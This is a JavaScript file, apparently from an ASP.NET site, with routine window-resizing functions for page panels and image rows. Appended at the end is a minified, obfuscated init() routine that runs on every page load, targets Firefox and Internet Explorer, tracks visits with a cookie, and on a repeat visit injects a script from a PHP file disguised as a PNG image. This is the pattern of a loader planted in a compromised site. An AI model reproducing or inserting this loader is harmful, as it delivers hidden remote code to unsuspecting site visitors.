﻿function getWindowHeight()
{
 var functionReturn = 0;

 if ( (document.documentElement) && (document.documentElement.clientHeight) )
  functionReturn = document.documentElement.clientHeight;
 else if ( (document.body) && (document.body.clientHeight) )
  functionReturn = document.body.clientHeight;
 else if ( (document.body) && (document.body.offsetHeight) )
  functionReturn = document.body.offsetHeight;
 else if ( window.innerHeight )
  functionReturn = window.innerHeight - 18;

 functionReturn = parseInt(functionReturn);
 if ( (isNaN(functionReturn) == true) || (functionReturn < 0) )
  functionReturn = 0;

 return functionReturn;
};

function setElementHeight(elementRef, heightValue)
{
// if ( typeof elementRef == 'string' )
//  elementRef = ElementUtilities.getElementReference(elementRef);

 if ( elementRef == null )
  return;

 heightValue = parseInt(heightValue);
 if ( isNaN(heightValue) == true )
  return;

 if ( (typeof elementRef.clip != 'undefined') && (typeof elementRef.clip.height != 'undefined') )
  elementRef.clip.height = heightValue;
 else if ( (typeof elementRef.style != 'undefined') && (typeof elementRef.style.height != 'undefined') )
  elementRef.style.height = heightValue + 'px';
 else if ( (typeof elementRef.style != 'undefined') && (typeof elementRef.style.pixelHeight != 'undefined') )
  elementRef.style.pixelHeight = heightValue;
};

function resizeImage()
{
 var windowHeight = getWindowHeight();


 var mydiv= document.getElementById("contentPanel");
mydiv.style.height = windowHeight - 20 + "px";
 var mytable= document.getElementById("ContentPages");
mytable.style.height = windowHeight - 180 + "px";
 var myImgRow= document.getElementById("imgRow");
 if ((myImgRow) != null)
    {
        myImgRow.style.height = windowHeight - 180 + "px";
     }
 var myImgRow2= document.getElementById("imgRow2");
  if ((myImgRow2) != null)
    {
        myImgRow2.style.height = windowHeight - 180 + "px";
     }

}

window.onresize = resizeImage;
window.onload = resizeImage;

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/aspnet-lightborder.png.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
